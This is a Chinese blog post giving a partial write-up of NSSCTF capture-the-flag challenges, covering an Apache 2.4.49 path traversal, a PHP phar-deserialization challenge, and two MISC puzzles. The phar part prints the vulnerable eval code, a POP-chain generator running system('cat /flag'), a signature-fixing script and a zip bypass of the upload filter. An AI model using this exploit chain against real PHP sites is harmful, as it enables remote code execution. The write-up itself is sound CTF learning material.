当前位置:网站首页>NSSCTF部分复现
NSSCTF部分复现
2022-08-08 16:10:00 【Msaerati】
WEB
ez_rce

看版本,百度一下有目录穿越漏洞
Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用_Tauil的博客-CSDN博客
构造payload

这里制造了一个文件夹迷宫,仅存在四层


1zweb(revenge)
一个文件上传的页面,可以查看文件

先查看一下基本的文件,index.php,uoload.php,等


index.php
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
?>file_get_contents读phar文件时能能触发返序列化漏洞,明显要让dky=“Re”,ljt=“Misc”,执行cmd的任意代码
pop
<?php
unlink('phar.phar');
class LoveNss{
public $ljt;
public $dky;
public $cmd;
}
$a=new LoveNss();
$a->cmd="system('cat /flag');";
$a->ljt="Misc";
$a->dky="Re";
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>运行得到一个phar文件,我们还要绕过wakeup函数,

改完之后要修改签名
from hashlib import sha1
f = open('../phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('22.phar', 'wb').write(newf) # 写入新文件再看upload.php
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>后缀必须是图片,且内容不能出现phar标志
可以压缩zip绕过
上传后用phar伪协议读取

MISC
Type Message
电话拨号

用九键拼出来是NSSCTF,后面三个音频都一样,拼起来就是flag
Knight’S Tour
拿到ChessBoard.zip压缩包,发现打不开,拖进010里看一看
好家伙,zip竟然是rar的头,直接修改头为504b0304 就可以正常解压解压后得到图片

观察分析,发现上面8x8的格子中正好对应下面的字母,应该是照顺序打乱了,结合题目Knight’s Tour,可以找到这样一个游戏根据游戏规则可以得到下面结果这里跟据第一列全为红色,每排有8个,只有两种颜色可以推测(脑洞)出红色代表0 黄色代表 1解出来为[email protected],即为flag
边栏推荐
猜你喜欢

用于视觉语言导航的自监督三维语义表示学习

The realization of the salary slip issuing function of WeChat public account + web background

【Unity入门计划】制作RubyAdventure02-处理瓦片地图&碰撞

Nuxt - 网站接入 51LA 网站统计(详细教程)

全志V853芯片Tina下RTSP环境搭建方法

Flutter的实现原理初探

华为云分布式缓存服务Redis开通及使用规划教程【华为云至简致远】

耐心排序——专门快速解决最长递增子数组

【愚公系列】华为云云数据库MySQL的体验流程|【华为云至简致远】

携手数字创新 共筑国产生态 7月份AntDB与5款产品完成互认证
随机推荐
Thread local storage ThreadLocal
jupyter notebook 隐藏&显示全部输出内容
【kali-权限提升】(4.2.5)社会工程学工具包:PowerShell攻击向量(防报毒)
【云原生】云原生相关技术概念总结
bzoj3693 圆桌会议 hall定理+线段树
国产数据库的红利还能“吃”多久?
使用 PyGame 的冒泡排序可视化工具
快速排序(C语言版)
GHOST工具访问数据库
api的封装
‘xxxx‘ is declared but its value is never read.Vetur(6133)
分享这些2022设计师们决不能错过的Blender新插件
本博客目录及版权申明
Is the current safe and reliable domestic futures account opening process?
谈谈怎么可以得到显著性图 特征图 featuremap
表实时同步,没有etl 可以用这个吗,从mysql到mysql
来,集中训练一下二叉树的层序遍历~
Beetl使用记录
[Unity Starter Plan] Making RubyAdventure02 - Handling Tile Maps & Collision
【云原生】-MySQL压测神器HammerDB的部署及使用